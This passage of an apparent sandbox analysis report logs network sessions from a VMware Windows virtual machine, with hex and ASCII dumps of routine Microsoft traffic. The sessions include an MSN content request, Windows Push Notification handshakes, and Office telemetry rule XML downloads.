rzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593978&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593978&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: Er2Zl1Zc7ke+76s0.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 17:57:09 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1408 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: oysT/cPgYlLOqPXJCy5tOUvsYlzhXhYbxuPTxA56YlxFczHm5vufzkvR6mSxZFFkB3OZbSkM0aWVYQEZ5Q5rqmMPb/778E8SDZOGF+6W8YjlSkfmCYNZIk57tCtTChuk7UldOB9oaLNRLPLSa+6iGeCBBE+x/64Fn6r2TaTVnv63NZucIhtMqZQugvjToXB0mljMMZ/YfB1nHC3aGzce1vlbroYsoGBXsHQAZhbTy0Up923nVA/niIsw+0RX6+kfDzYvCbkjyDp7IOlQc0WtZNhZuCbqNG5mRwHSOzywKyBUv9FgXDxZM2oBsGiQQkEuQXCKEsMFhCE4VbtWrlZMaw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 17:57:09 GMT Connection: close
2024-11-20 17:57:09 UTC	1408	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49714	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 77 7a 35 4a 58 4d 35 62 45 43 31 4e 4c 33 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 62 66 65 62 64 37 36 61 62 34 34 38 33 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: mwz5JXM5bEC1NL3E.1Context: 90bfebd76ab4483f
2024-11-20 17:57:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 17:57:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 77 7a 35 4a 58 4d 35 62 45 43 31 4e 4c 33 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 62 66 65 62 64 37 36 61 62 34 34 38 33 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 6d 51 6c 47 64 56 47 6b 50 30 42 57 4a 74 6f 63 35 47 50 30 72 54 65 44 42 4d 59 61 76 51 51 47 66 42 5a 49 39 43 6b 72 7a 70 70 73 69 68 6c 48 66 51 70 59 57 71 78 4d 73 6d 76 6d 65 32 43 70 39 54 6a 56 70 54 30 59 47 73 79 51 69 46 52 61 72 56 44 46 56 58 68 6c 30 64 71 6f 31 6f 4a 57 2f 55 54 50 76 4f 37 6b 38 30 44 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: mwz5JXM5bEC1NL3E.2Context: 90bfebd76ab4483f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfmQlGdVGkP0BWJtoc5GP0rTeDBMYavQQGfBZI9CkrzppsihlHfQpYWqxMsmvme2Cp9TjVpT0YGsyQiFRarVDFVXhl0dqo1oJW/UTPvO7k80D8
2024-11-20 17:57:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 77 7a 35 4a 58 4d 35 62 45 43 31 4e 4c 33 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 30 62 66 65 62 64 37 36 61 62 34 34 38 33 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: mwz5JXM5bEC1NL3E.3Context: 90bfebd76ab4483f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 17:57:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 17:57:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 30 6a 63 4d 35 6e 64 4b 30 61 32 37 68 4b 51 37 62 72 64 4c 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 00jcM5ndK0a27hKQ7brdLQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:17 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:17 UTC	492	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175717Z-185f5d8b95c4vwv8hC1NYCy4v40000000an000000000xz8m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:17 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-20 17:57:18 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175720Z-185f5d8b95cwtv72hC1NYC141w0000000adg00000000w19u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:20 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:20 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175720Z-185f5d8b95cqnkdjhC1NYCm8w80000000afg000000009dx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
